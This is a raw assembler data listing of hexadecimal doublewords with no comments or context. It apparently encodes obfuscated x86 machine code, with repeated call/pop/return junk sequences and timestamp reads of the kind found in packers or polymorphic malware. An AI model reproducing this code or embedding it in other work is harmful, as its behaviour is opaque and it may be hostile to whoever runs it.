		dd 665657BDh, 0BF0F2309h, 459D09FBh, 0E9061E1Bh, 12h, 4A875C60h
		dd 0AA7B5F13h, 3EA3C3AAh, 3B29F313h, 8D8BBD64h,	61E324Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C7C35545h
		dd 0F48D0408h, 2C8DAC97h, 919D2BD0h, 50061E31h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 81EBC065h
		dd 281BD8Bh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 523A76C3h, 0D361E4E5h, 0FE4FA6Ah
		dd 58Dh, 0D7816600h, 0BD835109h, 61E0259h, 71840F00h, 8B000000h
		dd 1E1E119Dh, 0B806h, 8B660000h, 0B88D8DF8h, 6A061E4Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 6E65C352h, 72A61853h, 14E851h, 0A7200000h
		dd 65871D82h, 0DCAAFD16h, 5F9AC863h, 0DBB0ABF8h, 5BF9075Eh
		dd 12E95Bh, 64C80000h, 230FE68h, 0CA3677B2h, 339D7F8Ah
		dd 0C11113C4h, 0BD89E1FFh, 61E0D75h, 3169BD83h,	0F00061Eh
		dd 47084h, 68B0F00h, 9000000h, 1E2C65B5h, 69BD8306h, 1061E31h
		dd 472840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 677612C3h, 7D74660h, 7DB58951h
		dd 83061E2Bh, 1E3169BDh, 860F0306h, 406h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0E8C35646h, 80FAB024h
		dd 0C38039DBh, 0E86060EFh, 0Bh,	9F112919h, 42D3994Eh, 897AABAAh
		dd 1E14FD8Dh, 81665F06h, 611A37C3h, 6AD98C66h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8018C353h, 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 544438C3h, 13A0690Eh, 17D014Dh
		dd 1E092D85h, 0FC90A06h, 12F84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 4B2B1Fh, 0DE950h
		dd 1B550000h, 470DC037h, 0C87A5F0Ch, 5F30378Bh,	0EE8h
		dd 0D1555E00h, 0B79A30E6h, 74153276h, 8BA3D8ACh, 1E2F71BDh
		dd 858B5F06h, 61E1A11h,	20DD9D8Bh, 8533061Eh, 61E14BDh
		dd 2A58529h, 0E950061Eh, 13h, 0B9BE4840h, 0A558E777h, 5E098BEAh
		dd 86C438E5h, 890A6EEAh, 0D88B2404h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E89BC6C3h
		dd 4, 1F03FFh, 8B50F98Ah, 24448BF9h, 52008B04h,	5F616057h
		dd 2444895Fh, 0BE804h, 1ADE0000h, 0F242CBE6h, 7B31DEDFh
		dd 860F60B4h, 0
aAXj		db 'a[Xj',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 33D0C350h, 7478B4A9h, 95FFF98Bh, 61E1441h, 0FE8h, 3609B300h
		dd 0F3F6F8E4h, 0E2ECA5A2h, 534FE57Fh, 5FDABF0Fh, 0B0278589h
		dd 8B660621h, 1C5E9DEh,	9D8B0000h, 61E0C79h, 0B01F858Bh
		dd 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 7763D9C3h, 1800C761h, 8B000000h, 21B023B5h
		dd 6810F06h, 89000000h,	1E09559Dh, 0C9858B06h, 6A061E1Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0B778C350h, 7E8h,	0A6513700h, 0E1D25029h
		dd 0E85FA8B7h, 0Ch, 9BC47B21h, 4782A1EAh, 36C1EA3Bh, 143DBD8Bh
		dd 895F061Eh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 3EE8EB19h, 66915C0Ah, 8BD88A02h
		dd 1E1A1185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 60A5AE26h, 8937BD94h, 1E1CA985h
		dd 0F8B70F06h, 1EE9BD29h, 4689061Eh, 8D9D8B04h,	96061E0Eh
		dd 51575250h, 310F5F5Bh, 8B50585Ah, 8A6096F8h, 33B866D9h
		dd 0B5FF61B8h, 621B01Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 57C35141h, 5368C577h,	666CA8D0h, 8101C1BFh
		dd 0D3AC2434h, 858D6CB7h, 621B027h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 4CC35545h, 8B7D9B0Dh, 0A603CDCAh
		dd 6880Fh, 9D8B0000h, 61E0469h,	157DBD8Bh, 0BF50061Eh
		dd 623979A5h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 8FF6C355h, 0F259773h
		dd 860FDABFh, 6, 193DBD89h, 95FF061Eh, 61E1441h, 0F78B6660h
		dd 2DAD9529h, 6161061Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0AC35343h, 0C12E0BF0h, 8E9AA192h, 7DF7D781h
		dd 85C76F3Fh, 61E3169h,	3, 418D8960h, 0F061E32h, 281h
		dd 61616000h, 0B027BD83h, 0F000621h, 2D84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 5BCD9275h, 24E9h, 0DAB70F00h, 25D9BD8Bh, 3050061Eh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 12E8C0h, 9B250000h, 0E7C19DD5h, 3994BC32h, 8F4104Ch
		dd 0E8D260Bh, 0EE8h, 3F26DD00h,	5C36B1E0h, 84B2F11Dh, 8BDC8F19h
		dd 1E32C19Dh, 665B5B06h, 7D9E781h, 3169BD83h, 0F03061Eh
		dd 47385h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0CA961A2Eh, 0ECB80B6Ah, 0FE987h
		dd 0ACA60000h, 0E3C36A72h, 0FA393AD7h, 0B3D41DD1h, 27BD83A3h
		dd 621B0h, 42E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 8EDCDC3h, 0EF80660Ah
		dd 0A23CBB25h, 0B5FF00B7h, 621B027h, 22319D2Bh,	0F98B061Eh
		dd 155595FFh, 0BB66061Eh, 0B58B1BE7h, 621B01Bh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AEC35646h, 0BE8D2E9h
		dd 0F8000000h, 1B73D3B8h, 5B6F6265h, 8166860Eh,	5F9AF0CFh
		dd 0FE9h, 5C22E00h, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh, 106C7h
		dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0E44C6DC3h, 0BB507BAEh, 1B6AEDE1h, 0F243489h
		dd 81h,	0AE800h, 7FC10000h, 0FD977B4Ah,	439874E1h, 27B5FF5Bh
		dd 30621B0h, 1E1BC19Dh,	3D95FF06h, 6A061E2Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 4263C357h, 357FB21Ah, 8529600Bh, 61E207Dh, 0E55958Bh
		dd 0F61061Eh, 88Eh, 95895200h, 61E0075h, 1BB58B5Fh, 0F0621B0h
		dd 1A8Ch, 0EE800h, 410B0000h, 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh
		dd 8199D8Bh, 8B5F061Eh,	1E2A2185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 95C45D7Eh
		dd 0C48689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 7F594DC3h, 9BD8992h, 8B061E05h
		dd 1E237595h, 12E906h, 0F8760000h, 1150FE88h, 548BE7C0h
		dd 6ECAB287h, 6DED502Ah, 13E9h,	0CD4A8100h, 33359783h
		dd 0C6E63F7Ch, 0C82F28BCh, 0ACA07C26h, 6A04C283h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0E579C350h, 89083899h, 6A2050h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 442136C3h, 0BD8BE5AFh
		dd 61E050Dh, 0C4A4858Dh, 6A0621h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 9D8BF3C3h, 61E151Dh
		dd 0B88689h, 5F530000h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 77FC6AC3h, 999509D0h
		dd 0FF061E2Bh, 21B027B5h, 6ABF6606h, 0F995FFE0h, 6A061E32h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0DB3EC355h, 0B531E81Ch, 61E20E5h,	89D98B50h
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 1D7A82C3h, 653A7B4Fh, 0CDCF8166h,	71B5311Ch
		dd 0FF061E22h, 21B027B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FFDA8BBCh
		dd 1E304995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 351DF811h, 73485BA1h, 0B9BD83FEh
		dd 61E0Dh, 37840Fh, 880F0000h, 0
		dd 6E896h, 0A3C10000h, 11C8274h, 7E8505Bh, 8B000000h, 84CA50F1h
		dd 52500971h, 3DA432BFh, 0F310F64h, 83h, 5B585A00h, 98BB6696h
		dd 27B5FFF0h, 0BF0621B0h, 1CF444B8h, 164D95FFh,	8D89061Eh
		dd 61E079Dh, 0B027B5FFh, 0BD890621h, 61E1D95h, 95FFDF8Bh
		dd 61E09DDh, 5077E781h,	0BD831A94h, 61E2BD9h, 64840F02h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 8B86C350h, 48BB7C5h, 2C21B589h
		dd 858B061Eh, 61E0E2Dh,	1485BD89h, 0BD89061Eh, 61E308Dh
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 3FC355h, 64EE9E0Bh, 99BD8B06h
		dd 0C7061E26h, 1E1F8185h, 6, 7E800h, 0BC530000h, 0EBCA7127h
		dd 6EB360C3h, 8E0Fh, 5B610000h,	0FFF27BE9h, 3D98BFFh, 1E1915BDh
		dd 81C18B06h, 2F53CCE3h, 0DD858D79h, 0E8061E19h, 0Eh, 3C4A769Fh
		dd 752B111Dh, 0A8B7ECC8h, 11E929D2h, 0C5000000h, 87833D92h
		dd 865DE0FBh, 0ED856891h, 4CDA7E90h, 6E9905Fh, 0C9000000h
		dd 0EB59D17Eh, 525050A8h, 5E9h,	3E94CB00h, 310F151Eh, 5BDA8B50h
		dd 6A90585Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 6C3DC351h, 0C413308h, 81668411h
		dd 6A8C78CFh, 14E800h, 24230000h, 0E2B9E30Dh, 0D5EA078Ah
		dd 0AABE1BD6h, 3708501Fh, 0EE8F107h, 0BD000000h, 9C1CCFCAh
		dd 22B8B18Ah, 511591DDh, 0DAB70FF4h, 6A5F5Bh, 8B0Fh, 858D0000h
		dd 622B172h, 22599D8Bh,	0C083061Eh, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0D9CB338Ah
		dd 0BC5B35CFh, 79BD036Fh, 66061E14h, 90F84EBBh,	0B72FBF66h
		dd 90DE8A50h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0ECBCEAC3h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3D16A5C3h
		dd 3F65967Fh, 8B53F1E9h, 1E0F199Dh, 12E95B06h, 68000000h
		dd 8DE684C1h, 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h, 0ED95FF8Bh
		dd 6A061E21h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0D7EEC355h, 9530E71Fh,	0C259D8Bh
		dd 9D8B061Eh, 61E19A9h,	94B68D8Dh, 6A0621h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 9DE654C3h
		dd 1F61BD8Bh, 0D1FF061Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 61C35747h, 12E960h, 355F0000h, 0E6AB166Bh
		dd 3A6BB97Ah, 197E4175h, 5004EDB1h, 11840F61h, 0E9000000h
		dd 0Ch,	4E14DDh, 30496A40h, 4F4A3BE7h, 272DBD83h, 0F01061Eh
		dd 0D585h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 7E952ECh,	46000000h, 70A98751h, 0B70FD82Eh
		dd 6A026AD8h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 8E07C357h, 2B2F4BE8h, 1E0E819Dh
		dd 0EE99006h, 9F000000h, 5BAB71B6h, 0BFF311Ah, 141B547Fh
		dd 5250503Ch, 0DE9h, 6934E900h,	1BACC55Eh, 0E4E7D30Ch
		dd 310FCA9Bh, 5AF88B66h, 6A9058h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 12A3F7C3h, 0EFFCC0BBh
		dd 0F5BD8B07h, 0FF061E32h, 1E32F995h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0B3CEBFF6h, 25E9FC08h, 0E800000Dh, 0
		dd 7CED815Dh, 0F0622B1h, 688h, 0A19D2300h, 66061E0Dh, 858DFE8Bh
		dd 6218DFEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	69C35141h, 6CCF807Bh, 11E890h, 2D3D0000h, 6E854B6Eh
		dd 5BA3DB3h, 0F37606F6h, 51E29622h, 90505B5Bh, 35FF64h
		dd 0E9000000h, 12h, 8610AE6Bh, 38FCC5AEh, 74A7A215h, 577068B6h
		dd 8964FF73h, 25h, 0DE900h, 5DA30000h, 0F9F49F97h, 7C14DBB6h
		dd 0FF3EA10Eh, 1E1D9185h, 559D8B06h, 81061E04h,	0CBA5E1E3h
		dd 6AFF6A5Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 7DE9C351h, 0DBD8B56h, 5F061E0Eh
		dd 415B5FFh, 0BF66061Eh, 95FF350Bh, 61E1655h, 106E9h, 81BD8B00h
		dd 0B0061E17h, 0DBD8B00h, 0E6061E2Bh, 77CF8170h, 0E44BC47Fh
		dd 0F19D8B71h, 89061E19h, 1E09C1BDh, 0F613C06h,	0DA83h
		dd 0C8B60F00h, 0CE8h, 0D9FA7100h, 67F2BAB8h, 0D9117BBCh
		dd 0D99D03E5h, 5B061E22h, 6BAh,	9FBB6600h, 8BC18BC1h, 1E08919Dh
		dd 4E8C106h, 0D3B88EBFh, 0E2F7667Dh, 2BDEBF0Fh,	0BCF781C8h
		dd 8B45F8B1h, 8DBD8BD1h, 60061E15h, 0C25B529h, 6653061Eh
		dd 0E656C381h, 7CE9615Eh, 66000000h, 858BDA8Bh,	8, 83A5E780h
		dd 0C08307C0h, 3BF88B00h, 29830FD0h, 57000000h,	7F1BD89h
		dd 0E95F061Eh, 53h, 0E9DAB70Fh,	14h, 0C57325F5h, 0BEFB35EFh
		dd 3C43DC0Ah, 0BFD85844h, 6F906470h, 0FFFF8D8Bh, 0C381FFFFh
		dd 3EFEA57Ah, 0F01E183h, 2284h,	0C7816600h, 0A58343DBh
		dd 0FFFFFFFFh, 8DBD8BFEh, 89061E0Dh, 895h, 0EF816600h
		dd 0E939B2h, 8D000000h,	223000B5h, 0F2C8BF06h, 6A1120h
		dd 18C99D8Bh, 95FF061Eh, 61E26C1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0BEC35040h,	96847119h, 89B98E8Ch
		dd 6A00000Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0B321C356h, 89B069FEh,	0E183C257h
		dd 51B589FCh, 0E8061E27h, 0Fh, 6316F3AAh, 0C5891E8Ah, 28C46ADDh
		dd 8B437267h, 1E18BDBDh, 0B8FC5B06h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 93C35646h
		dd 8D0FBE7Bh, 0
		dd 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0C233ADE7h, 0D003E8D1h, 7504E983h
		dd 8E9F4h, 724C0000h, 69122ECAh, 850115BCh, 61E0D01h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3AC35242h, 4D1EA6ACh
		dd 465BD8Bh, 880D061Eh,	66000000h, 636EDB81h, 2375958Bh
		dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 22BB10C3h, 5CE6B5CEh, 6860FADh, 2B000000h
		dd 1E1D2D9Dh, 4D8D8B06h, 89061E32h, 1E07F985h, 7464BF06h
		dd 8B5038ECh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 33FFBF0Fh, 1E197D9Dh, 59BD8306h, 61E02h, 69840Fh, 0BD890000h
		dd 61E0F05h, 0DBC38166h, 0B8BDh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 23CB8DC3h
		dd 8D837FD0h, 1E4CB88Dh, 0C7816606h, 0E1FFB9D1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B1C35242h, 13A9F8CDh
		dd 0C7D3ECA4h, 18C78010h, 83FBBF0Fh, 1E3169BDh,	840F0006h
		dd 491h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	9CC35242h, 77DB67E7h, 83C32F69h, 1E3169BDh, 840F0106h
		dd 47Ch, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0CFC35545h, 52528905h, 89DD8A8Dh, 1E0E29B5h, 69BD8306h
		dd 3061E31h, 410860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F8D7EC3h, 785h, 38BF5600h
		dd 5B7375E6h, 6E9h, 814A2D00h, 6048E5EEh, 3424BF66h, 0E8D98C66h
		dd 12h,	69DDEA9Fh, 96D52A95h, 0D87BE5B3h, 0E0E4DE88h, 8B668FECh
		dd 0D3815FDEh, 13381E34h, 6A04E180h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 51D1C355h
		dd 8BD9EB78h, 1E1E11BDh, 0FC90A06h, 18184h, 19958900h
		dd 8B061E18h, 1E1A1185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 90AC6CC1h, 802A9947h
		dd 8166A3C7h, 339D4DC7h, 1E14BD85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D8BFCF0h
		dd 61E0D15h, 66525050h,	0F0335BBh, 61606031h, 310F5250h
		dd 5A61585Ah, 24048958h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0CC35646h, 315256C3h,	1E162D9Dh, 6A5F5B06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF0FDDA7h, 7D8D89F9h, 0E8061E1Bh, 4, 1F03FFh
		dd 13E8h, 9BAB3100h, 8DB13963h,	0C23803DFh, 465E381Fh
		dd 8091EEB5h, 5BD88B66h, 0EE950h, 6A190000h, 0EFA0B5B8h
		dd 0E74FB926h, 1AFCDF20h, 424448Bh, 8BADB3h, 3FAFBF66h
		dd 4244489h, 0B58DE8Bh,	1E21AD9Dh, 4195FF06h, 8B061E14h
		dd 1E19A1BDh, 27858906h, 0F0621B0h, 1884h, 13E900h, 0C6100000h
		dd 0AF94DAB6h, 68F275F5h, 63CF57ECh, 9C0ED14Dh,	191E9DCh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FC9B1C3h, 0B84h,	5880F00h, 66000000h, 14B1DB81h
		dd 21E9BD29h, 858B061Eh, 621B01Fh, 33A1BD33h, 0C7061Eh
		dd 18h,	265B529h, 0B58B061Eh, 621B023h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 13C35040h, 0F7C896E8h
		dd 29DF81FDh, 1E015195h, 0C9858B06h, 8B061E1Ch,	1E2DEDBDh
		dd 6A068906h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B37C352h, 1E1A1185h, 958D0906h
		dd 80061E1Fh, 4689FCF3h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 59950170h, 50061E0Eh
		dd 343ABB66h, 0B243489h, 1E0C41BDh, 1FB5FF06h, 560621B0h
		dd 685BFB8Bh, 5B8FACB0h, 3481DA8Bh, 90AF4F24h, 53006A5Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 6510E36Eh, 0D7BAD381h, 858D5D44h, 621B027h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3DC35141h, 0A1BF66BDh
		dd 50024D97h, 89FE8B66h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 144C7DC3h, 0BD8B5CBFh
		dd 61E0C65h, 0B5295760h, 61E1D71h, 55958B5Fh, 61061E22h
		dd 144195FFh, 61F8061Eh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 87C35040h, 0E381665Bh, 0DCBB94CBh, 0C76E5EA8h
		dd 1E316985h, 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0E47AD3F1h, 0F421FCCh
		dd 68Bh, 0E5BD0900h, 83061E25h,	21B027BDh, 840F0006h, 36h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6CC35646h
		dd 0EB45899Eh, 79BF6654h, 65BD8BF7h, 0E9061E29h, 21h, 64D9D8Bh
		dd 3050061Eh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 9A51E3E5h, 9E9991Eh, 33000000h, 0BD73A3Dh
		dd 93237C17h, 0C710F4BBh, 0C6D38175h, 141D9FAh,	1E051D95h
		dd 69BD8306h, 3061E31h,	3F1850Fh, 83F80000h, 21B027BDh
		dd 840F0006h, 3E3h, 32CF8050h, 27B5FF5Bh, 0FF0621B0h, 1E155595h
		dd 1BB58B06h, 0BF0621B0h, 7F6D8361h, 106C7h, 0BD8B0001h
		dd 61E1A95h, 6A965096h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F5AC351h, 0B5FFDEB7h
		dd 621B027h, 2C99BD8Bh,	95FF061Eh, 61E2B3Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C3C35545h, 0DD21C14Fh
		dd 2622632Eh, 19DBD31h,	0B58B061Eh, 621B01Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 1DC35040h, 8BD88BBEh
		dd 1E2A2185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 4B44CDC5h, 2ED4E2EBh, 8B3A96BBh
		dd 12E95252h, 35000000h, 10568921h, 151AB71Eh, 759850Ch
		dd 16F884B3h, 86895F8Ah, 0C4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0B7C35343h,	0E3B8A8BDh, 0D30243FAh
		dd 12E91Dh, 0F81D0000h,	32325599h, 60183D19h, 78CACCC1h
		dd 0C05FB2BAh, 2375958Bh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 1CBE35C3h, 0DB6C567Dh
		dd 0DE8h, 0D6278B00h, 0C6ED0B85h, 7272A449h, 0B589AAE0h
		dd 61E04EDh, 4C2835Fh, 1A058D89h, 5089061Eh, 55006A20h
		dd 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 759D89F8h, 8D061E0Dh, 21C4A485h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD89094Eh
		dd 61E2BE5h, 0E3617BBFh, 0B886896Ch, 66000000h,	6A99B5BFh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0C3D0F7A5h, 0BC8DBC41h, 0B027B5FFh, 0BB0621h
		dd 0FF5BCA00h, 1E32F995h, 0F505606h, 88h, 965B5B00h, 28B0Fh
		dd 0FA8B0000h, 52506050h, 310FF38Bh, 0CE9h, 0F7089000h
		dd 84C168BDh, 9F4E8DE6h, 0BF585AE5h, 756F18Dh, 6A9661h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 73D81CC3h, 493BFC8Eh, 8BEC2307h, 27B5FFF9h, 0BF0621B0h
		dd 3DC78937h, 304995FFh, 8D89061Eh, 61E331Dh, 0DB9BD83h
		dd 0F00061Eh, 4284h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B8A8BBDh, 0DA8A50DFh
		dd 6A243489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FFFEC350h, 21B027B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0BBE9B968h, 8A576C55h, 95FF5FFAh, 61E164Dh, 0C7A7DB81h
		dd 0B5FF5519h, 621B027h, 13E8h,	3BD6B500h, 4F89588Bh, 7CF54437h
		dd 5F2A1719h, 407AA748h, 1FDBD8Bh, 0FF5F061Eh, 1E09DD95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0B94197Bh, 1E09A59Dh, 0D9BD8306h, 2061E2Bh
		dd 46840Fh, 800F0000h, 0
		dd 9AD62CBFh, 2D858B33h, 6A061E0Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C02C350h
		dd 8B325308h, 1E29299Dh, 0C606h, 14F99589h, 8529061Eh
		dd 61E2EA5h, 1F8185C7h,	61Eh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 90B7E4C3h
		dd 0F6C7C938h, 0A022BB50h, 81664376h, 0E92816D7h, 0FFFFF3ADh
		dd 4C18589h, 0C18B061Eh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 66C35242h, 0BD313607h, 61E04D9h, 19DD858Dh
		dd 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 42C0C6C3h, 8BFBB70Fh, 8D0F90F8h, 3, 50FA8B66h
		dd 6A0FA1BBh, 6AF89066h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 2BD65F18h, 1E05C5BDh
		dd 0C19D8906h, 6A061E0Dh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BB66785Ch
		dd 858DB01Ch, 622C0B2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0B9C35242h, 41753A6Bh, 0EDB1197Eh, 1AC99D33h
		dd 0C083061Eh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 88D508Ah, 0D43BB9AAh
		dd 0AE8h, 68701300h, 2B2AAB7Ah,	8BAA7334h, 1E07719Dh, 0BF505F06h
		dd 41911EE6h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
